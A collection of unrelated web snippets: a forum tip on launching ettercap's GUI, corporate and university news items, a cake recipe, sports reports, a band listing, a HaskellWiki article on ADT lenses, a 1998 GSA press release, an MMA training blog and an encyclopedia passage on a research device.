This is a common issue with ettercap, you need to learn how to use the command shell, its easier and wont crash, anyway if you need the GUI option, then type in terminal :
root@bt: ettercap -G
Good luck
Yeah, normally I always used the gui but in backtrack 5 in seems to crash almost every time so now I use ettercap via terminal. Like this it works perfectly
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Copy and paste bunny into your signature to help him gain world domination.
normaly i use gtk to
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It is exhibited at the Tate along with the mass of preparatory material he used to create it.
Tate and I have recruited them for countless films, the tiniest of projects, over the years.
Eight months after that, now 18, Tate held up a pizza deliveryman at gunpoint.
Selling Mississippi to Hollywood Both Tate and I were really eager to bring The Help's production to Mississippi.
Today, the Seagram Murals hang inside the Tate Museum in London, where Molina went to see them as preparation for the role.
Tate smirkingly maintained, that he wrought into perfection the rough and costly material left by Shakspeare.
Through Mr. Washington's intercession for him Tate got his diploma.
"I have been gradually working down the scale of greatness, but I'm afraid I have still aimed too high," confessed Mr. Tate.
"She would have been very p. 16 annoyed with Commissioner Tate," she said.
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Community Partnerships: The key to your diversity and inclusion plan
So your company has created and implemented a comprehensive diversity and inclusion plan. Now what? A key component of your company's plan is choosing community partners. These partners provide an expertise and insight on how your company can succeed from a diversity and inclusion perspective.
At UMB, we choose organizations and groups that have been identified through our diversity council as major contributors to our strategy. Our goal is to have these organizations enhance our diversity and inclusion strategy in four ways:
- Talent acquisition and development – We build a stronger company by hiring and retaining talented, high-performing associates with diverse backgrounds.
- Associate engagement – We demonstrate inclusiveness by ensuring each of our associates has a voice and opportunities to share ideas.
- Corporate community involvement and volunteerism – Our associates regularly volunteer at the organizations who are our collaborative partners.
- Regional cohesiveness – We try to find organizations that have outreach in multiple cities across our footprint (Black MBA Association‡ in Kansas City‡ and St. Louis‡, Urban Financial Services Coalition‡ in Kansas City‡, St. Louis‡ and Omaha‡). But we also will work with independent organizations (The Regional Business Council of St. Louis‡).
So how do both the company and the community organization benefit from these partnerships?
Within the company, community partnerships help make associates aware of diversity. Additionally, they help associates stay educated about their community. Some organizations even offer training programs for associates, like a Lunch and Learn, so they can get a better understanding about the community organization and the work they do. For example, UMB works with the Hispanic Chamber of Commerce in Greater Kansas City and they provide our associates with training about how to work with Hispanic businesses.
The company benefits externally from these partnerships by helping us connect with our community. They help us connect with people, resources and other businesses. They help share our vision, mission and values in the diverse communities that we serve.
Community organizations benefit from these partnerships depending on the company. At UMB, we provide them with financial education programs. We also have company officers who serve on boards for the organizations. And we encourage our associates to volunteer for their various programs.
Ultimately it's important for both the company and the organization to feel like the partnership is bringing some value to them. Both parties should be involved, creating mutually agreed upon activities and goals. Representatives from both organizations should meet regularly to discuss whether or not the partnership is on track. In fact, at UMB we require our collaborative partners to submit an annual report, as well as a scorecard that gives information about their website traffic, how many scholarships they gave out and the amount (if applicable), how many programs they organized during the year, etc.
With the help of these community partners, your company's comprehensive diversity and inclusion plan will be complete. With your unique combined perspectives, you can be more competitive and create stronger connections within your markets.
When you click links marked with the "‡" symbol, you will leave UMB's website and go to websites that are not controlled by or affiliated with UMB. We have provided these links for your convenience. However, we do not endorse or guarantee any products or services you may view on other sites. Other websites may not follow the same privacy policies and security procedures that UMB does, so please review their policies and procedures carefully.
UMB Financial Corporation (Nasdaq: UMBF) is a diversified financial holding company headquartered in Kansas City, Mo., offering complete banking services, payment solutions, asset servicing and institutional investment management to customers. UMB operates banking and wealth management centers throughout Missouri, Illinois, Colorado, Kansas, Oklahoma, Nebraska, Arizona and Texas, as well as two national specialty-lending businesses. Subsidiaries of the holding company include companies that offer services to mutual funds and alternative-investment entities and registered investment advisors that offer equity and fixed income strategies to institutions and individual investors.


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February 2013
Join us for Upcoming Campus Sustainability Events
Saving Energy Makes Cent$
Monday February 4, 6:30-9:30
Student organized forum to increase awareness and develop a plan to increase the energy efficiency (and reduce utility costs) for students in off-campus housing. Read more…
The Green & Gold Just Got Greener! – a celebration of the LEED Silver certification of the student center. Thursday February 7, 6:30-7:30; refreshments will be served. Join recruiters who will be on campus for the Career Fair to hear from a recent Clarkson graduate who is involved in green construction on some projects of national importance. Read more…
Limnology students surveyed Norwood Lake for the potential of spread of Eurasian watermilfoil, an invasive aquatic plant species
Newsletter to report about Campus Sustainability
Silver is the Color of the Month – Read below to learn about the LEED Silver certification of the student center and our Silver sustainability rating through the AASHE STARS program.
LEED Silver for the Student Center
LEED Silver Certification has recently been awarded to our three-story, 56,000-square-foot Student Center, which was completed in 2010. This certification recognizes high performance energy-efficiency and green building design, construction, operations and maintenance.
Examples of the "green" features of the Student Center include:
- low-flow water closets, urinals, and lavatory faucets;
- energy efficiency measures like an improved thermal envelope, high efficiency glazing, LED exterior lighting, occupancy sensors, daylight control, and a high efficiency HVAC system; and,
- concrete blocks for its structural support were made with aggregate from recycled materials that was developed by Civil Engineering students and faculty.
Learn more about these features at our celebration – The Green and Gold Just got Greener event.
The Leadership in Energy and Environmental Design (LEED) rating system was developed by the US Green Building Council (USGBC), which is the nation's leading organization to advance the construction and operation of green buildings. Clarkson is a corporate member of the USGBC – any member of the Clarkson community can access and use their member only resources. Read more…
STARS Silver for Campus Sustainability
Staff and students in the Institute for a Sustainable Environment have finished the initial assessment of the state of sustainability using the AASHE STARS assessment tool (Assoc. for the Advancement of Sustainability in Higher Education Sustainability Tracking Assessment and Rating System).
In STARS, points are earned in three separate categories, Education and Research, Operations, and Planning, Administration and Engagement. Clarkson received 55% of the possible points, leading us to a Silver rating. Our most outstanding score was in the Education and Research (ER) category, where we received 71% of the possible points. This rating, which is in the top 16% of ER scores achieved by any of the institutions using STARS, reflects the broad array of classes, majors, minors offered by departments all across campus, student clubs and activities, and research projects conducted on a variety of sustainability topics. The Students in the News feature below offers a glimpse of some of the activities that help to lead to this outstanding score.
Clarkson University has set a goal to reach the STARS Gold rating within five years. All members of the campus community need to work together to achieve this goal. You can read more about our current rating or tap into AASHE's extensive sustainability resources through our university membership.
Students in the News
Environmental Engineering Seniors "Coined" at NASEC Conference
Environmental engineering seniors Jared Smith and Jessica Hernandez received command medallions from the United States Naval Academy on November 6th, 2012 to recognize their poster presented at the Naval Academy Science and Engineering Conference (NASEC). Their poster, entitled - Environmental Fate and Transport of Triclocarban using Fugacity Modeling - presented work they completed for a course taught by Professor Holsen (CE480: Chemical Fate and Transport). Triclocarban is a chemical found within many antibacterial soaps. The NASEC conference allows undergraduates a chance to present and share their research, capstone projects, and STEM projects completed throughout their college careers. Prof. Joseph Skufca of the Dept. Mathematics and Computer Science arranged for four Clarkson students to attend this conference.
Clarkson University Students Suggest Sustainable Options for Invasive Aquatic Plant Control in Norwood Lake
During the summer of 2012, the presence of Eurasian watermilfoil, an invasive aquatic plant, was detected in Norwood Lake, a fluvial lake created by a dam on the Raquette River in Norwood, N.Y. Eurasian watermilfoil is one of the nation's most widespread invasive aquatic plants and has already invaded more than 50 lakes in the Adirondack State Park. Clarkson University Biology Professor Michael Twiss and his limnology students tasked themselves with examining the case for invasion in Norwood Lake with the aim of recommending sustainable management practices to control the plant. Unfortunately, the students found that the nutrient and light levels in the lake make it very suitable for the spread of this invasive species. They found that mechanical harvesting is too costly and can cause increased spread by fragments downstream. Hand harvesting is equally expensive. Sustainable options include coordination among the local government, residents, and Brookfield Power, the company controlling the dam at Norwood Lake, concluded the students at a brief presentation at the Norwood Municipal Building on December 6. Read more…
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Brevard, N.C. - Over 300 Brevard College student-athletes marched in the 24th Annual Twilight Tour Christmas Parade held in downtown Brevard, N.C. this past Saturday as the Tornados took part in the festivities by the Brevard Chamber of Commerce.
"It is always a pleasure to take part in the annual Brevard Christmas Parade," commented Interim Athletic Director Juan Mascaro. "On behalf of over 300 student-athletes at Brevard College, we enjoy the annual tradition and giving back to our community each and every year."
For more information on all Brevard College Athletics, visit our website at www.BCTornados.com


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Serves 20.
Tint gum paste pink with rose icing color. Roll 3/4 in. ball of pink gum paste. Make into 3/4 in. golf tee shape. Place flat side down on surface. Using Modeling Stick, roll out really thin round top from center "t" out. Use medium Round Cut-Out, cut base. Thin edges with veining tool.
Spread thin film of shortening on Roll & Cut Mat. Roll out a small piece of gum paste less than 1/16 in. thick. Cut 5 or 6 circles for each carnation using the medium Round Cut-Out. Place 1 circle on thin foam dusted with Dusting Pouch; place others under Practice Board flap. Holding small end of veining tool like a pencil, press heel down at edge of circle and starting about 1/4 in. from edge, pull towards you to thin and slightly form a ruffle. Continue to thin gum paste to create ragged carnation petal edge.
Brush center of Carnation Base with water or gum glue adhesive. Gently press 1 ruffled circle on top of base to attach — shape edges up. Repeat with other ruffled circles.
Ruffle edges of last gum paste circle. Fold into thirds and place in center of last petal circle. Mold petals up around center, if needed. Let flowers dry on cornstarch dusted cake boards.
Tint fondant using rose icing color. Bake and cool 2-layer 8 in. square cake. Stack cooled cake layers on foil-covered cake board. Prepare for fondant by lightly icing with buttercream. Roll out tinted fondant 1/8 in. thick. Cover cake; smooth.
Roll out remaining tinted fondant 1/8 in. thick. Cut 20 strips, 1/4 in. wide, in varying lengths. Attach strips to cake sides, 1 in. apart and onto top of cake. Attach Sugar Pearls to strips with gum glue adhesive. For bottom border, roll out pink fondant 1/8 in. thick; cut circles using smallest round Cut-Out. Roll into 3/8 in. diameter balls and attach for bottom border. Position carnations on cake top, securing with small pieces of pink fondant and gum glue adhesive.


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'Briere and linemates Maxim Afinogenov and Jean-Pierre Dumont had to face Chara and his defence partner Chris Phillips every time they were on the ice. That was one part of the game that worked well for the Senators, as the line was held to a couple of assists. The problem for Ottawa in the 7-6 overtime loss, though, was that other Sabres like Tim Connolly, Derek Roy and Chris Drury took over the scoring.'
Briere faces tall task
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RESTAVRANT & 22 KINGS play Skinny's - White Wall Entertainment LAUNCH PARTY
White Wall Entertainment
Friday, March 22, 2013 from 8:00 PM to 10:00 PM (PDT)
Who's Going
San Francisco, California
London, United Kingdom
Florence, Italy
Event Details
website: www.restavrant.com
(Rest^vRant) is junkyard high art. A catapult that soaks in a wealth of contrasting influences and Pollacks back the mash obscuring any predictable template of genre. Electrocana, roots, punk, country and slide blues would seem to be rough acts to merger but through the mad science of front man Troy Murrah the formula hits the nail.
Murrah, a thirty something Los Angeles based
[...]Los Angeles-based roots rock and electro trash duo Restavrant have created a visionary and positively indiosyncratic sound which involves both sides of the musical coin, so to speak. With bluesy slide guitar and countrified pickin', gritty megaphone vocal delivery, harmonica, the layers provided by loop station programming, the catchy electric vibe of a keyboard, and the clank, tap and stomp of a junkyard drum kit, these two churn out something that is equal parts organic and mechanical, and equal parts rustic and urban. In nearly every way this is a combo that should not work, but somehow it does. It works remarkably well, in fact; so much so that Restavrant are now preparing to release the follow-up to their well-received 2008 debut Returns to the Tomb of Guiliano Medidici, at last. The upcoming album is titled Yeah, I Carve Cheetahs, of all things, and it is slated for a January 10, 2012 release from Hillgrass Bluebilly Records.
[...] Though they are currently residing in Los Angeles, California, Troy Murrah (guitar, banjo, harp, vocals) and J State (junk kit, other percussion, microKorg, and back-up vocals) hail from Victoria, Texas. Both locales are represented in Restavrant's music in all of their differing points, from the Crossroads country and blues of Victoria to the melting pot music of Los Angeles. They have also played a number of gigs in both cities, and their wild sets, invariably followed by vigorous applause, have been highly appreciated by both audiences. And their albums, the content of which being all too similar to their live material, have also been met with the same level of appreciation.
Restavrant's Yeah, I Carve Cheetahsis one of those rare follow-up albums that I find better than the one that came before it. And I, as a big fan of this duo, can only hope that this trend continues for future releases.
Incidentally, the boys have a handful of upcoming shows in support of Cheetahs. Most of the shows, to the disappointment of those fans who reside here on the east coast, are in the west. At a couple of the January shows, Restavrant will be sharing the bill with the side project of J.D. Wilkes of Th' Legendary Shack Shakers, The Dirt Daubers, and the Two Man Gentleman Band.
-James G Carlson – National Examiner
ABOUT 22 Kings
22 Kings is currently working on a new album, continuing to collaborate with Lost Ark Studio. On the horizon are more exciting collaborations with talented producers like Alex Wong who has been a true inspiration to 22 Kings since their formation. With all the progress and excitement 22 Kings is experiencing, they choose to stay grounded with a simple philosophy - Sing. Laugh. Love. Repeat
When & Where
SKINNY'S Lounge North Hollywood
4923 Lankershim Blvd 91601
North Hollywood,
Friday, March 22, 2013 from 8:00 PM to 10:00 PM (PDT)
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The Psych club and SOEA are collecting paper items and non-perishable food items for the Alva Food Bank. Boxes will be placed on the 1st & 2nd floor of the Education Center and in the front foyer of the Library.
Collection of paper items (paper plates, paper towels, plastic cups, napkins, etc.) as well as non-perishable food items will begin December 5 and end December 13 at noon.
If you have any questions, please contact: Dr. Karen Linstrum 580-327-8148 or email@example.com
MISSION STATEMENT: Northwestern Oklahoma State University provides quality educational and cultural opportunities to learners with diverse needs by cultivating ethical leadership and service, critical thinking and fiscal responsibility.


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"Cowboys have solution to protect Dez Bryant's broken finger that allows him to catch passes but will be painful game for him," Werder tweeted Friday.
Bryant was officially listed as limited during Friday's practoce and reportedly played some catch with running back DeMarco Murray in which Bryant, who is left-handed, threw the ball back with his healthy right hand.
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Bryant will be a game-time decision, but it's hard to envision him not at least suiting up Sunday afternoon. I think he actually has a better chance of playing than Robert Griffin III right now. Obviously, Bryant is carrying some risk in his left hand, but he has been too productive lately for you to bench him if he is active, especially against the Steelers' poor secondary. You may want to have some kind of insurance since this is a late-afternoon kick, but I'm confident we'll see Dez on Sunday.


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LGtk/ADT lenses
From HaskellWiki
1 Problem description
Lenses provide uniform and compositional way to view and edit data structures.For example, one can view and edit pairs with
q == setL fstLens (getL fstLens q) (setL sndLens (getL sndLens q) p)
Similarly, there is a toolbox of lenses for records which toolbox contains one lens for each record field.
Is there a toolbox of lenses for an algebraic data type with multiple constructors?
2 Existing solutions
2.1 Partial lenses
The data-lens library provides partial lenses which are isomorphic to
type PartialLens a b = a -> Maybe (b, b -> a)
The following partial lenses are defined for lists:
headLens :: PartialLens [a] a headLens [] = Nothing headLens (h:t) = Just (h, (:t))
tailLens :: PartialLens [a] [a] tailLens [] = Nothing tailLens (h:t) = Just (t, (h:))
2.2 Other solutions
Please help to extend the list of known solutions.
3 ADT lenses
The proposed solution, summarized:
As a lens toolbox for an ADT, use a lens whose codomain is the ADT and whose domain is a tuple of the constructor tag and the ADT components.
Let's see specific examples before the generic descripton of the proposed lens.
3.1 Example: List lens
The lens for lists which forms a complete toolbox:
import Data.Lens.Common
listLens :: Lens (Bool, (a, [a])) [a] listLens = lens get set where get (False, _) = [] get (True, (l, r)) = l: r set [] (_, x) = (False, x) set (l: r) _ = (True, (l, r))
3.1.1 List lens usageSuppose that we have a state
type S = (Bool, (Int, [Int]))
We can view and edit the list through the following lenses:
- edits the complete list.listLens :: Lens S [Int]
- edits the top level constructor of the list:fstLens :: Lens S Boolcorresponds toFalseand[]corresponds toTrue.(:)
- edits the head of the list.headLens = fstLens . sndLens :: Lens S Int
- edits the tail of the list.tailLens = sndLens . sndLens :: Lens S [Int]
- If the top level constructor of the list is , the head and the tail of the list can still be edited; the change will only be visible through[]when the constructor is changed back tolistLens. This may seem to be odd, but for many applications this is the right behaviour. See the interpretation subsection below.(:)
- For editing the tail of the tail of the list, we need an such thats' :: Sviewed throughsis the same astailLensviewed throughs'. Explained on a figure:listLens
3.2 Example: ADT with repeated record fields
Consider the following ADT:
data X a = X1 { y :: Int, z :: a } | X2 { y :: Int, v :: Char }
For the ADT lens, first define an auxiliary enum type for the constructor tags:
data XTag = X1Tag | X2Tag
xLens :: Lens (XTag, (Int, (a, Char))) (X a) xLens = lens get set where get (X1Tag, (y, (z, _))) = X1 y z get (X2Tag, (y, (_, v))) = X2 y v set (X1 y z) (_, (_, (_, v))) = (X1Tag, (y, (z, v))) set (X2 y v) (_, (_, (z, _))) = (X2Tag, (y, (z, v)))
- Instead of , we could use(XTag, (Int, (a, Char)))or(XTag, (Int, a, Char))too. This is an implementation detail.(XTag, Int, a, Char)
- remembers the value ofxLensif we change between the constructor tags. This is the intended behaviour.y
- remembers the values ofxLensandvfields if we change between the constructor tags. This is the intended behaviour.z
3.2.1 InterpreationThe intended behaviour can be justified if we interpret lenses as abstract editors. If we would like to define an editor of an
- An elementary editor for (maybe a combo box or a checkbox) which would be connected to the editor state byXTag.fstLens
- An elementary editor for an (maybe a text box or a slider) which would be connected to the editor state byInt.fstLens . sndLens
- An editor for an typed value which would be connected to the editor state bya.fstLens . sndLens . sndLens
- An editor for a (maybe a combo box or a text box or a virtual keyboard) which would be connected to the editor state byChar.sndLens . sndLens . sndLens
Now, the intended behaviour is the following:
- If the user fills in an value forInt, this value should remain the same after changing theyvalue.XTag
- The value editor should be active only if theavalue isXTag.X1Tag
- The editor should be active only if theCharvalue isXTag.X2Tag
- If the user fills in an value forawhen thezvalue isXTag, and the user changesX1TagtoX1Tagand then back toX2Tag, theX1Tagvalue should be the same as before (consider a complex value which is hard to re-create). Similar holds for theavalue.Char
3.3 Generic ADT lens
In the generic case, consider the following ADT:
data X a1 ... aN = X1 { x11 :: t11, x12 :: t12, ... } | X2 { x21 :: t21, x22 :: t22, ... } ... | XM { xM1 :: tM1, xM2 :: tM2, ... }
Define an auxiliary enum type for the constructor tags:
data XTag = X1Tag | X2Tag | ... | XMTag
xLens :: Lens (XTag, (s1, (s2, ...))) (X a1 ... aN) xLens = lens get set where get (X1Tag, (s1, (s2, ...))) = X1 s{c11} s{c12} ... ... get (XMTag, (s1, (s2, ...))) = X2 s{cM1} s{cM2} ... -- replace second occurrence of the same variable name by _ in pattern set (X1 s{c11} s{c12} ...) (_, (s1, (s2, ...))) = (X1Tag, (s1, (s2, ...))) ... set (XM s{cM1} s{cM2} ...) (_, (s1, (s2, ...))) = (XMTag, (s1, (s2, ...)))
4 Summary
With the proposed ADT lenses, one can do arbitrary edit actions on ADT values in a user-friendly way (both distinct and common ADT parts are remembered when switching between constructors).
5 Links and references
I have not seen this technique described before. Please help to extend the list of papers / blog entries, where this or similar technique is used.


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December 10, 1998
Contact: Bill Bearden (202) 501-1231
Washington, D.C. -- On behalf of Vice President Al Gore, the U.S. General Services Administration (GSA) today recognized R.H. Donnelley and Sprint Publishing and Advertising for making government services more "consumer friendly" by presenting the companies with the prestigious Hammer Award at a ceremony in Las Vegas.
The companies, whose CenDon partnership published the Las Vegas Sprint First Source Phone Book Yellow and White Pages, incorporated the newly re-vamped "Blue Pages" - listings of Federal Government Agencies -- in the latest editions of their Las Vegas directories.
Starting from a need identified in Vice President Gore's "National Performance Review" initiative, the GSA has been working with consumers, publishers, phone companies, and other government agencies for more than three years to develop a more efficient - and easier-to-use - format for government telephone listings. The Las Vegas edition represents the latest version of this evolving project.
"By working in a public/private partnership on the Blue Pages Project, R.H. Donnelley and Sprint serve their customers better - and help government provide more efficient service," said GSA Administrator David Barram. "Consumers will be able to find - and get results from - government services faster and more efficiently than ever before."
Consumers also will find subject-driven listings, larger type, identifying icons, toll-free numbers, and even Internet addresses in the new government listings - a great improvement over the sometimes-confusing format that people have struggled with for years. Even in markets where publishing limits the directories to "text-only" black-and-white versions, GSA has created more usable, consistent listings. Recent testing shows that consumers are much more likely to find the right information faster - and with fewer hassles -- using the new format.
GSA is getting the new Blue Pages out to consumers quickly. In partnership with telephone companies and directory publishers such as Sprint and R.H. Donnelley, GSA has provided new Blue Pages listings for 195 telephone directories - reaching more than half of all U.S. households in the last two years.
GSA will continue to gather feedback from consumers as it further refines and improves the Blue Pages. Future plans include incorporating the print and electronic listings.
Barram says that working in partnership with telephone companies and publishers will help ensure continuous improvement. "Companies like Sprint and R.H. Donnelley, who are publishing the new Las Vegas Blue Pages at no cost to the taxpayers, understand that serving the customer is their business. GSA shares that belief, and we're working hard to offer our customers better services all the time."
Vice President Gore has said that the Blue Pages have become easier to use because they are now based on common sense not government bureaucracy. "This is good news for the millions of Americans each year who need information about their federal government, and a good example of how the public and private sectors can work together to make positive changes."
The Blue Pages Project is sponsored by the Vice President's National Performance Review and coordinated by GSA. The project is a collaborative effort of R.H. Donnelley, Sprint, and other telephone directory publishers, and 24 Federal agencies to make it easier to find Federal services in over 6,200 telephone directories nationwide.
Gore has referred to telephone directory blue pages as "the low-tech puzzle that must be solved before reaching the high-tech government." Since government telephone numbers have traditionally been listed by organization�not by service, as in the Yellow Pages�Federal services have not been very accessible. For example, the U.S. Passport Agency, which used to be listed only under "s" for "State Department," is listed in the new Blue Pages under "p", for "passport."
Surveys show that half the users of the original Blue Pages give up before they get the information they need because they cannot locate the number for a particular office. "The Blue Pages are used 81 million times a year," Barram said. "They are often the first contact someone has with the government. Simplifying Blue Pages provides a great service to taxpayers."
Accepting the Hammer Award for Sprint was Bob Walsh, President-Sprint Publishing and Advertising, for R.H. Donnelley was Fred Groser, Executive Vice President -Telco Operations, and for the Federal Executive Association was Ramon Reevey.
"While Las Vegas residents are the first to receive the Blue Pages in our CenDon directories," said Bob Walsh, "they are not the last. These simplified government listings will be part of CenDon directories in our top markets by the end of 1999. Soon, customers from Florida to Nevada will find it easier to locate the government services they need."
"We're honored to be receiving the Hammer Award for our work in this public/private partnership," said Fred Groser. "We see our publication of the new and improved Blue Pages as a part of our core business - providing public with access to the services and connections they need. The employees who have worked on this project can take great pride in knowing that they have made life a little easier for consumers all around Las Vegas."
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Update its official and all booked and paid for Babycakes Is going on holiday for a canny fewweeks in july. Hotel is nothing fancy its more of a hostel situation but I don't give a shit Im going to experience Cali get high andwith any luck get a few days training at a place which in my opinion is the best place in mma.
Stockton mother fucker stockton hope I dont get shot or robbed lmao.
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Have been doing lots of sparring like most days mainly stand up Its really enjoyable and sometimes I get to shit talk as im sparring really depends what mood im in and if im finding it easy etc. As i suspected I do have power in both hands but my right so im told is very handy but I guess the real test will be if I can use that in my fight as nothing else matters.
The judo helps tons as I have tried to fit in everything else around it and added other take downs to my game . Loving wrestling not really fussed about jitz so just picked the things out which I could/would use and been drilling them as much as possible but I think its safe to say if on my back I will not stay there any longer then I possibly need too as the ground and pound seems to be one of my strong points along with take downs and I dont really know what to call my stand up its weird but has been doing the job lol.
His trolling has gone overboard of late, he was almost coming across as legit for a few days back there...
He still hasn't walked the fucking dog either
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Still not buying it dude sorry.
Tell me more about the dog, I feel you have gone off character for awhile, we hear nothing about the dog anymore
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ST. FRANCIS – At the outset of training camp, Milwaukee Bucks head coach Scott Skiles insisted the minute distribution between the seven big men general manager John Hammond collected would work itself out.
Such has been the case 10 games into the season as Skiles has complimented his backcourt of Brandon Jennings and Monta Ellis with the young legs of Larry Sanders (24.1 minutes per game), Ersan Ilyasova (23.1) and Ekpe Udoh (21.1).
Of the three, Udoh's heavy involvement in Skiles' rotation might seem most surprising.
Yet for the better part of the last year, Bucks management has insisted they would not have traded Andrew Bogut to the Golden State Warriors if Udoh wasn't coming along with Ellis. To Hammond and Skiles, it wasn't just about salary matching, and it took a bit of convincing for the Warriors to give up on the sixth overall pick of the 2010 draft.
"We wouldn't have done it without him," Skiles said. "It's not because we're trying to compare him to anybody else. We felt he was a quality big player that could help us and that's turned out to be true so far for sure. And he helped us last year. He's not just another big guy but somebody that we liked, we liked him in the draft when we came out and it made sense."
Udoh, 25, may have a limited offensive ceiling – he is averaging 4.9 points this year – but the fast pace set by his guards fits what he can do well in terms of filling the lane and sealing off defenders for his teammates to get to the basket.
"It's coming along," Udoh said of his offense. "Just being around each other, being in practice, knowing what we're going to do with different players on the team. Some games we're starting to touch the ball in the post and scoring, so you have to keep working on that and keep getting better."
What has also helped is the fact that every day in practice he is going up against defensive-minded big men like himself in Sanders, Joel Przybilla and Samuel Dalembert.
"Oh, it's tough," Udoh said with a smile. "Even offensively, they're big guys. We're going to face that with (Portland's) LaMarcus Aldridge's of the league. We're going to face that. But it also gives us some confidence if you can go and get a shot up on 'em and score."
To Skiles, there is little surprise in Udoh's development on the offensive end, even if the numbers don't jump off the stat sheet. The veteran coach was happy with the way Udoh played last year as his 36-minute averages were a solid 10.1 points, 8.3 rebounds and 2.9 blocks.
"He's got good post moves," Skiles said. "He's still working on kind of finishing those shots. But he also does a nice job down there – he screens, he rolls, he can move around the floor, he can put the ball down and make some dribble-handoff plays and things like that help facilitate the offense for other guys."
Make no mistake, Udoh's primary contributions to the Bucks this season will come on the defensive end, which is another reason why he is seeing so much playing time. Because for as quickly as the Bucks like to move offensively, they play just as aggressively on the other end.
"His main strength is keeping the defense organized," Skiles said. "He can block shots of course, but that's obvious to anybody watching the game. What's not so obvious, unless you know what we're trying to do, what he's really doing on the defensive end. He plugs a lot of holes. He's always in the right spot."
The guards set the tone, trying to contain their man enough for a steal or to funnel them to the paint area for a potential blocked shot. Yet Udoh is quick enough to get out of the paint and create problems there as well.
"This year I'm blocking shots like I normally do but being there defensively is always big, I alter shots or am just there on pick-and-roll coverage," he said. "You always have to do know that stuff."
Udoh's understanding of his role in that regard has been noticed and appreciated by Skiles, which has helped the coach set his rotation fairly early in the season and breed some consistency on both ends of the floor.
"There are all kinds of ways a guy can improve and yet still know who he is and stay true to what he brings to the team," Skiles said. "He's been very good so far. Very good."
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The Vaginal photoplethysmograph (VPG) is a controversial type of plethysmograph. It consists of a clear acrylic, rod-shaped device that contains a light source, and a light detector. The light source illuminates the capillary bed of the vaginal wall and the blood circulating within it. The amount of light that is backscattered is thought to be directly related to the transparency of engorged and unengorged tissue and, hence, serves as an indirect measure of vasoengorgement, an indication of sexual arousal. However, there are many problems with the instrument including (1) lack of validation of its direct relationship with vasocongestion, (2) lack of an absolute scale precluding between-participant comparisons in research, and (3) its perceived invasiveness by some research participants.
The device was first introduced in 1967 by Palti and Berovici and refined in 1975 by Sintchak and Geer. It was the first practical and reliable device for the measurement of vaginal blood flow. The vaginal probe was designed to be easily inserted by the subject. Its introduction spurred great (research) interest in the area of female sexual arousal throughout the late 70s and early 80s. Research in this area has increased significantly recently, particularly since the introduction of Viagra for men.
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The device remains the most frequently used method for monitoring vaginal blood flow.
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